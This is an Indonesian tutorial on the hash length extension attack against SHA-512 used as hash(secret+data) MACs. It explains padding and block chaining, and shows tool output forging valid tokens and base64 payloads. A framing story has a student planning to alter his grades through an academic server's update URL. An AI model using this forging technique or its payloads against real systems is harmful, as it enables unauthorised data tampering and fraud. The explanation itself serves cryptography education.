
Fungsi hash kriptografis yang vulnerable terhadap serangan ini adalah fungsi hash yang menggunakan struktur Merkle-Damgard seperti MD5, SHA1, SHA2.

Dalam tulisan ini, fungsi hash yang dibahas adalah SHA-512 yang termasuk dalam keluarga SHA2. Fungsi hash lain MD5 dan SHA1 juga vulnerable namun tidak dibahas disini karena cara kerja dan prinsip dasarnya sama dengan serangan terhadap SHA-512.

Message Authentication Code (MAC)

MAC adalah suatu data yang digunakan sebagai otentikasi data dan menjamin keasliannya. Dalam gambar di bawah ini (sumber: wikipedia) menunjukkan salah satu use-case dari MAC, diilustrasikan bahwa Alice akan mengirim pesan ke Bob.

Screen Shot 2013-03-04 at 5.48.38 PM

  • Alice dan Bob sebelumnya harus sudah sepakat dengan suatu kunci rahasia
  • Alice menghitung MAC dari pesan dengan kunci rahasia
  • Alice mengirim MAC dan pesan ke Bob
  • Bob menghitung MAC dari pesan yang diterima dengan kunci rahasia

Bila MAC yang dihitung Bob sama dengan MAC yang diterima dari Alice, maka Bob yakin bahwa:

  • Pesan yang dikirim Alice masih asli, tidak diubah di tengah jalan oleh orang lain (Integrity)
  • Pesan benar-benar dikirim dan dibuat oleh Alice (Authentication)

Pihak selain Alice dan Bob tidak bisa mengubah data yang dikirim Alice dan tidak bisa mengirim pesan seolah-olah berasal dari Alice karena untuk membuat MAC yang valid dibutuhkan kunci yang hanya diketahui Alice dan Bob saja.

Fungsi Hash untuk MAC

Fungsi kriptografis hash seperti MD5, SHA1, SHA2 bisa dipakai untuk membuat MAC dengan cara menghitung hash dari gabungan secret key dan data yang akan dilindungi oleh MAC :

MAC = HASH(secretkey + data) seperti MD5(secretkey + data), SHA1(secretkey + data), SHA2(secretkey + data)

Dengan fungsi hash seperti ini, pihak ketiga yang tidak mengetahui secret key tidak bisa membuat hash yang valid dari suatu data. Sebagai contoh, bila seseorang ingin mengirimkan dataX dia harus menyertakan pula MD5(secretkey + dataX) sebagai MAC, bila dia mengetahui secretkey maka dia bisa menghitung nilai MAC dengan mudah. Namun bila secretkey tidak diketahui bagaimana cara menghitung MD5(secretkey + dataX) ? Mungkinkah menghitung MD5(secretkey+dataX) tanpa mengetahui secretkey ?

Kisah seorang Mahasiswa Galau

Di suatu kampus di suatu negeri far far away, terdapat sistem informasi akademik yang mengelola catatan nilai semua mahasiswanya. Ada seorang mahasiswa yang sedang galau karena terancam DO bila IPK semester ini masih saja satu koma. Dia berpikir untuk mencurangi sistem akademik kampusnya, dan mulailah dia melakukan information gathering dengan tujuan untuk mencurangi sistem akademik kampusnya.

Dari hasil sniffing dia mengetahui bahwa pencatatan nilai dilakukan terpusat di server akademik kampusnya dengan menggunakan HTTP GET request seperti ini:

http://ServerAkademik:8888/kripto/updatenilaisha512.php?token=1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9&nilai=MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7

Si mahasiswa galau itu juga mencoba URL tersebut di browsernya, dan response yang muncul adalah:

Screen Shot 2013-03-05 at 2.10.27 PM

Dari URL dan responsenya tersebut dia menduga bahwa untuk mengubah nilai dia harus menggunakan URL tersebut dengan parameter nilai berupa base64 dan parameter token berupa hash SHA512(secretkey+isi parameter nilai) yang berfungsi sebagai MAC dari isi parameter nilai, namun si mahasiswa tidak tahu secretkey yang dipakai.

Isi parameter nilai dari URL tersebut setelah didecode adalah ’1300000023|CS321=C;CS442=B;’ dan kebetulan 1300000023 adalah NIM dia sendiri yang diikuti dengan nilai kuliahnya. Si mahasiswa kini paham bahwa untuk mengubah nilai parameter nilai harus mengikuti format (dikirim dalam bentuk base64 encoded):

NIM|KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;

Kini si mahasiswa galau telah mengetahui cara membuat IPKnya menjadi 4 adalah dengan mengirimkan request GET dengan parameter nilai yang berisi daftar kode matakuliah dan nilainya (semua dibuat ‘A’). Supaya perintah perubahan nilai diterima server, dia juga harus mengirimkan hash SHA512(secretkey+isi parameter nilai). Bila dia bisa mengirimkan SHA512 yang valid, server akan percaya bahwa request GET tersebut terpercaya dan mengupdate nilai sesuai isi paramter nilai.

Namun hasil information gathering ini justru membuat si mahasiswa semakin galau karena dia tidak tahu secretkey yang dibutuhkan untuk membuat hash SHA512 yang valid. Tanpa SHA512 yang valid, request pengubahan nilai tidak akan diterima server.

Bagaimana cara si mahasiswa galau mengubah nilai tanpa mengetahui secretkey ?

Hash Length Extension Attack

Secara sederhana hash length extension attack bisa digambarkan sebagai berikut:
Bila diketahui data dan nilai hash dari (secret + data), maka kita bisa menghitung hash dari (secret + data + datatambahan) walaupun tidak mengetahui secret.

Sebagai contoh, bila diketahui sha512(secret + ‘abcd’) adalah :

b51ca01e1054cd0cfa09316e53a1272ed43cf6286a18380b7758546026edf2c6af9f11251768b7510728e5c35324f0715b0d7717228865cf621a96ed3cef05a1

Maka kita bisa menghitung sha512(secret + ‘abcd’ + ‘efghijklmnopqrstuvwxyz’) walaupun kita tidak mengetahui secret. Untuk memahami bagaimana hash length extension ini terjadi kita harus melihat bagaimana hash sha512 dihitung.

Padding pada SHA-512

SHA-512 tidak menghitung hash semua data secara sekaligus.  SHA-512 menghitung data setahap demi setahap, blok demi blok, dimana setiap blok data harus berukuran 1024 bit (128 byte). Jadi setiap data yang akan dihash akan dipotong-potong dan disusun dalam blok-blok berukuran 1024 bit.

Bila data yang akan dihash tidak tepat berukuran kelipatan 1024 bit, maka dibutuhkan pre-processing berupa menambahkan bit-bit padding sebagai pengganjal agar ukurannya menjadi tepat kelipatan 1024 bit.

Padding dilakukan dalam dua langkah:

  •  Menambahkan bit 1 di akhir data dan diikuti dengan bit 0 sejumlah yang diperlukan agar jumlahnya menjadi 128 bit kurang dari kelipatan 1024 bit.
  • Sisa 128 bit yang akan melengkapi blok menjadi 1024 bit adalah panjang dari data (sebelum ditambahkan padding)

Sebagai ilustrasi, bila data yang akan di hash adalah ‘abcd’ maka pre-processing akan menyusun blok pada gambar di bawah ini.

Screen Shot 2013-03-03 at 9.52.49 PM

Susunan byte 61626364 yang berwarna hijau adalah kode ascii ‘abcd’ yang akan dihash, kemudian diikuti dengan byte 0×80 sebagai awal dari padding. Byte 80 hexa digunakan sebagai awal padding karena dalam biner adalah 10000000, yaitu bit 1 yang diikuti rangkaian bit 0, padding dengan bit 0 terus dilanjutkan sampai berukuran 896 bit atau 128 bit kurang dari 1024. Padding ditutup dengan 128 bit panjang data dalam bit  yang berwarna biru. Dalam ilustrasi di atas panjang data ‘abcd’ adalah 4 atau 32 bit atau dalam hexa adalah 0×20.

Dalam contoh pertama ‘abcd’ data disusun dalam satu blok 1024 bit saja. Dalam ilustrasi kedua pada gambar di bawah ini, data yang akan dihash adalah huruf ‘A’ (0×41 hexa) sebanyak 150 karakter atau 1200 bit. Karena datanya berukuran 1200 bit, dalam kasus ini satu blok saja tidak cukup, sehingga dibutuhkan 2 blok.

Screen Shot 2013-03-04 at 12.09.12 PM

Dalam gambar di atas yang berwarna hijau adalah data yang akan dihash. Blok 1024 bit pertama berisi karakter ‘A’ sebanyak 128 karakter (128 x 8 bit = 1024), kemudian sisanya 22 karakter lagi mengisi awal dari blok 2. Setelah data diikuti dengan byte 0×80 dan deretan byte 0×00 yang berwarna kuning sampai menggenapi 128 bit kurang dari 1024 pada blok yang ke-2. Padding diakhiri dengan 128 bit berwarna biru berisi panjang data dalam bit, dalam contoh ini panjangnya adalah 0x04B0 atau 1200 bit.

Bagaimana bila data yang akan dihash panjangnya sudah tepat 128 bit kurang dari 1024 bit ? Dalam contoh di bawah ini data yang akan di hash adalah huruf A sebanyak 112 karakter atau 896 bit (128 bit kurang dari 1024).

Screen Shot 2013-03-04 at 11.52.51 AM

Walaupun data yang dihash sudah tepat 896 bit, padding yang berwarna kuning tetap harus ditambahkan sebelum padding panjang data yang berwarna biru. Sehingga proses padding akan menyusun dua blok seperti pada gambar di atas.

Komputasi SHA-512
SHA-512 menghitung nilai hash dengan cara memproses blok-blok berukuran 1024 bit. Gambar di bawah ini menunjukkan proses penghitungan SHA-512 data berupa deretan huruf A sebanyak 300 karakter. Data tersebut dipotong-potong dan ditambahkan padding sehingga menjadi 3 blok masing-masing berukuran 1024 bit.

Penghitungan hash suatu blok membutuhkan dua masukan, blok data 1024 bit dan hash dari blok sebelumnya. Kemudian hash dari suatu blok akan menjadi input untuk menghitung hash blok selanjutnya, dan proses ini terus berlanjut sampai semua blok telah dihitung hashnya.

Hash blok terakhir adalah nilai hash final dari data

Khusus untuk memroses blok pertama, hash yang dipakai sebagai input adalah intial hash value yang didefinisikan dalam FIPS 180-3 sebagai:

H0 = 0x6a09e667f3bcc908
H1 = 0xbb67ae8584caa73b
H2 = 0x3c6ef372fe94f82b
H3 = 0xa54ff53a5f1d36f1
H4 = 0x510e527fade682d1
H5 = 0x9b05688c2b3e6c1f
H6 = 0x1f83d9abfb41bd6b
H7 = 0x5be0cd19137e2179
 
Gabungan dari 8 variabel di atas membentuk initial hash value:
6a09e667f3bcc908bb67ae8584caa73b3c6ef372fe94f82ba54ff53a5f1d36f1510e527fade682d19b05688c2b3e6c1f1f83d9abfb41bd6b5be0cd19137e2179

Screen Shot 2013-03-04 at 2.22.33 PM

yang diperlukan untuk menghitung hash suatu blok adalah hash (bukan isi) blok sebelumnya

Kita tidak perlu tahu dan tidak peduli isi blok sebelumnya untuk menghitung hash suatu blok. Sekali lagi perhatikan ilustrasi gambar di atas:

  1. Untuk menghitung hash blok ke-2 kita tidak perlu tahu isi blok pertama, kita hanya perlu tahu hash blok pertama
  2. Untuk menghitung hash blok ke-3 (karena hanya ada 3 blok, maka hash blok ke-3 adalah final hash), isi blok pertama dan kedua tidak diperlukan, kita hanya perlu hash blok kedua

Isi blok sebelumnya tidak penting, yang penting adalah hashnya

Eksploitasi Length Extension Attack

Bila diketahui hash(N bytes of unknown data X) adalah H, maka kita bisa menghitung hash(N bytes of unknown data X + padding + append).

Setelah mengerti proses padding dan penghitungan hash SHA512 sekarang kalau kita melihat hash SHA512 dari suatu data, misalkan SHA512 dari ‘A’ sebanyak 300 karakter adalah ’689699398b28bae3…’ perlu diingat bahwa:

  • Hash ’689699398b28bae3…’ itu adalah hash dari blok terakhir (blok ke-3 dalam contoh ini)
    Screen Shot 2013-03-06 at 6.12.04 AM
  • Data yang dihash sebenarnya adalah gabungan ‘A’x300 + byte padding
    Screen Shot 2013-03-06 at 6.20.12 AM
  • Hash itu bisa dijadikan input untuk menghitung hash blok data tambahan lain

Bagaimana bila kita tidak tahu isi dari 300 byte data tersebut ?

Bila diketahui SHA512 ( 300 bytes of unknown data ) adalah:
689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715
 
Berapakah SHA512 ( 300 bytes of unknown data + padding byte + 'BBBBB') ??

Proses di Server

Dengan memanfaatkan cara kerja SHA512 kita bisa meng-extend penghitungan hash 300 byte data yang sebelumnya final di blok ke-3 menjadi baru final di blok ke-4 (atau mungkin ke-5, ke-6 tergantung ukuran data tambahan ) karena kita tambahkan data baru.

Screen Shot 2013-03-06 at 6.48.50 AM

Data yang akan ditambahkan client adalah ‘BBBBB’ (42 42 42 42 42). Data tambahan tersebut harus diletakkan di blok baru (blok ke-4) seperti pada gambar di atas agar client bisa menghitung hash 4 blok data tanpa harus tahu isi blok ke-1, blok ke-2 dan blok ke-3.

Proses yang terjadi di server umumnya adalah verifikasi apakah MAC dan data yang dikirim client valid atau tidak. Server akan menggabungkan (concat) ‘A’x300 + data yang dikirim client, baru kemudian menghitung hash dari hasil penggabungan data tersebut.

$data = str_repeat('A', 300);
$append = 'client appended data'
$servermac = hash('sha512',$data.$append)."\n";

Yang perlu diingat adalah hasil dari penggabungan (concat) yang dilakukan server harus tetap menjaga agar isi blok 1, blok 2 dan blok 3 tetap sama seperti ketika menghitung hash ‘A’x300.

Mari kita lihat bagaimana kalau client mengirimkan $append = ‘BBBBB’ ? Server akan menggabungkan ‘A’x300 + ‘BBBBB’ yang membentuk blok yang berbeda seperti gambar di bawah ini. Blok pertama dan kedua gambar di kiri masih sama dengan yang kanan , tapi blok ke-3 berbeda. Pada gambar di kiri, setelah byte 41 (‘A’) langsung diikuti dengan byte 42 (‘B’) sebanyak 5x. Karena bloknya berbeda, tentu hash blok ke-3 berbeda, bukan lagi ’689699398b…’ sehingga client tidak bisa lagi menggunakan hash ’689699398b…’ sebagai input untuk memproses blok berikutnya.

Screen Shot 2013-03-06 at 8.37.14 AM

Oke jadi kita tidak boleh langsung mengirimkan data tambahan ‘BBBBB’ karena ketika diconcat akan menghasilkan hash yang berbeda dengan yang sudah diketahui ’689699398b…’.

Agar blok 1, 2 dan 3 tetap sama ketika diconcat, maka data yang diappend tidak boleh langsung ‘BBBBB’. Data yang di append client harus didahului dengan ’80 00 00 00 … 09 60′ untuk menutup blok ke-3, baru kemudian diikuti dengan ‘BBBBB’ (42 42 42 42 42). Mari kita lihat blok yang terbentuk bila ‘A’x300 diconcat dengan ’80 00 00 00 … 09 60 42 42 42 42 42′

Screen Shot 2013-03-09 at 7.52.47 PM

Hasil gabungan 300x’A’ di server + data yang dikirim client + padding byte akan membentuk 4 blok dibawah ini.

Screen Shot 2013-03-06 at 9.12.23 AM

Pada gambar di atas, data yang diappend client adalah yang hijau terang. Terlihat bahwa blok 1,2,3 tetap sama, dan string ‘BBBBB’ berada di blok baru. Ini adalah blok yang benar, jadi kita kini sudah tahu data yang harus diappend client adalah ’80 00 00 00 … 09 60 42 42 42 42 42′.

Proses penghitungan hash data hasil concat ‘A’x300 dan data yang diappend client (’80 00 00 … 09 60 42 42 42 42 42), terlihat pada gambar di bawah ini. Kalau sebelumnya, hash blok ke-3 (689699398b….) adalah final hash, sekarang hash tersebut menjadi input untuk menghitung hash blok ke-4. Perhatikan juga byte berwarna biru yang berisi panjang data dalam bit bernilai 0C 28 atau 3112 bit / 389 byte (300 byte ‘A’ + 84 byte pad + 5 byte ‘B’).

Screen Shot 2013-03-05 at 9.14.11 AM

Mari kita hitung SHA512 dari 300 huruf A + data yang diappend client dengan script php pendek berikut.

$data = str_repeat('A', 300);
$append = 
	"\x80\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x09\x60".
	"\x42\x42\x42\x42\x42";
print hash('sha512',$data.$append)."\n";
 
Output dari program di atas:
587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Proses di Client

Server bisa dengan mudah menghitung SHA512 karena memang server mengetahui isi dari 300 byte datanya adalah huruf A sebanyak 300, jadi dia hanya perlu melakukan penggabungan (concat) dengan data yang diappend client dan menghitung hashnya seperti biasa.

Lalu bagaimana dengan client ? Dia tidak tahu isi datanya, dia hanya tahu bahwa datanya berukuran 300 byte dan hashnya.

Cara menghitungnya di sisi client mudah saja, hampir sama dengan menghitung SHA512 biasa, namun dengan sedikit perbedaan:

  1. Penghitungan hash tidak mulai dari nol, tidak mulai dari blok pertama. Hash dari 300 byte unknown data tersebut dipakai sebagai input untuk menghitung blok ke-4 (tidak memakai default initial hash value).
  2. Blok ke-4 berisi ‘BBBBB’ dan byte padding seperti biasa untuk menggenapi menjadi 1024 bit. Namun padding 128 bit terakhir yang berisi panjang data dalam bit, ada sedikit perbedaan. Panjang data yang ditulis bukan hanya 40 bit (5 byte), tapi panjang datanya adalah 128*3 (3 blok data) + 5 byte. Jadi walaupun client hanya menghitung blok ke-4 saja, tapi perhitungannya blok ini seolah-olah adalah kelanjutan dari penghitungan blok 1, 2 dan 3 jadi panjang datanya adalah gabungan 3 blok + 5 byte ‘B’.

Screen Shot 2013-03-06 at 9.55.01 AM

Tentu saja untuk mengakomodir perbedaan/perlakuan khusus tersebut kita tidak bisa menggunakan fungsi SHA512 yang standar. Saya mulai dengan mengimplementasi algoritma SHA512 berdasarkan standar FIPS 180-3 dengan python kemudian memodifikasi sedikit menjadi tools sha512-extender. Silakan download toolsnya: SHA512-EXTENDER

Berikut adalah output dari tools sha512-extender.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
 
rizki$ ./sha512-extender.py 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715 '' 'BBBBB' 300
Injection Data in Hex Format:
00000: 80 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 09 60 42 42 42 42 - 42
 
Injection Data in Base64 Encoded Format:
gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlgQkJCQkI=
 
########## Original Message ##########
00000: 42 42 42 42 42
 
########## 1st Padding ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
 
########## Final Padded Blocks ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 0C 28
 
########## Words ##########
 
## Block 0
00000: 42 42 42 42 42 80 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 0C 28 -
 
#####################################################################################################################################################################
Initial Hash value              : 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715
 
Memproses Blok 0
Intermediate SHA512 for block 0 : 587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Perhatikan bahwa tools sha512-extender.py menghasilkan hash ’587b5638d9f73a….’ yang sama persis dengan yang dihitung oleh server. Namun bedanya kita menghitung hash tersebut tanpa mengetahui isi dari 300 byte data aslinya.

Kalau client mengirimkan hash ’587b5638d9f73a…’ dan data yang di append (80 00 00 … 42 42 42 42 42) tersebut ke server, server tidak akan komplain karena hash yang dikirim client akan sama persis dengan hash yang dihitung di server walaupun client tidak tahu isi 300 byte datanya. Yes, We Win!

Kisah Mahasiswa Galau (part 2)

Si mahasiswa galau yang pantang menyerah, akhirnya mengetahui tentang hash length extension attack dan mulai menyusun rencana untuk menyerang. Si mahasiswa juga sudah mengetahui bahwa panjang kunci rahasia di aplikasi akademik tersebut adalah 14 karakter.

Dia menduga bahwa source code di server akan berbentuk kurang lebih seperti ini:

$data = base64_decode($_GET['nilai']);
$token = $_GET['token'];
$secretkey = "xxxxxxxxxxxxxx"; // unknown 14 byte data
if (hash('sha512',$secretkey.$data) == $token) {
	// OK
} else {
       // ERROR
}

Berikut informasi yang sudah diketahui si mahasiswa galau:

Parameter nilai:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7 ('1300000023|CS321=C;CS442=B;')
Parameter token, SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'): 
1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
Panjang kunci: 14

Karena setiap nilai dipisahkan dengan titik-koma, maka si mahasiswa ingin menambahkan data ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ di akhir data aslinya supaya nilainya berubah menjadi A untuk 5 mata kuliah itu.

Parameter nilai yang akan dikirim (asli+padding+tambahan) :
'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;'
Token:
SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;')

Kali ini si mahasiswa sudah tidak galau lagi, walaupun dia tidak tahu isi ‘unknown 14 byte key’, dia tetap bisa menghitung token yang valid karena dia mengetahui SHA512(‘unknown 14 byte key’+’1300000023|CS321=C;CS442=B;’). Kalau sudah tahu SHA512(A+B), mencari SHA512(A+B+C) itu mudah walaupun tidak tahu A dan B.

Dengan hash length extension attack, dia tinggal melanjutkan penghitungan hashnya dengan blok data baru untuk mendapatkan nilai hash yang baru. Dia memakai tools sha512-extender untuk menghitung mac yang valid.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
rizki$ ./sha512-extender.py 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9 '1300000023|CS321=C;CS442=B;' ';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;' 14
Injection Data in Hex Format:
00000: 31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
00016: 3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 
 
00128: 3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
00144: 3D 41 3B 43 53 34 34 34 - 3D 41 3B
 
Injection Data in Base64 Encoded Format:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=
 
########## Original Message ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B
 
########## 1st Padding ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
 
########## Final Padded Blocks ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 05 48
 
########## Words ##########
 
## Block 0
00000: 3B 43 53 31 31 34 3D 41 -
00000: 3B 43 53 35 32 31 3D 41 -
00000: 3B 43 53 32 32 31 3D 41 -
00000: 3B 43 53 31 32 35 3D 41 -
00000: 3B 43 53 34 34 34 3D 41 -
00000: 3B 80 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 05 48 -
 
#####################################################################################################################################################################
Initial Hash value              : 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
 
Memproses Blok 0
Intermediate SHA512 for block 0 : 48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7

Perhatikan output dari tools tersebut, data yang akan dikirim ke server adalah:

Injection Data in Hex Format:
31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 
 
3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
3D 41 3B 43 53 34 34 34 - 3D 41 3B

Data tersebut kalau disusun ulang sususannya menjadi berbentuk blok 1024 bit menjadi:

?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? 31 33 
30 30 30 30 30 30 32 33 - 7C 43 53 33 32 31 3D 43 
3B 43 53 34 34 32 3D 42 - 3B 80 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 01 48
 
3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
3B 43 53 34 34 34 3D 41 - 3B

Ada sebanyak 14 tanda tanya pada blok di atas, itu adalah secret key yang tidak diketahui oleh si mahasiswa. Di server nanti, secret key yang panjangnya 14 byte akan diconcat dengan data yang dikirim mahasiswa galau, sehingga tanda tanya di atas akan terisi dengan secret key dan menjadi lengkap 1 blok. Blok pertama tersebut isinya sama dengan blok pertama ketika menghitung hash SHA512(‘s4nG4t#R4h4514′+’1300000023|CS321=C;CS442=B;’) yang menghasilkan hash ’1af41c81d665f0…’.

Setelah menutup blok pertama dengan ’01 48′, data matakuliah dan nilai yang ditambahkan si mahasiswa akan mengisi awal dari blok kedua.

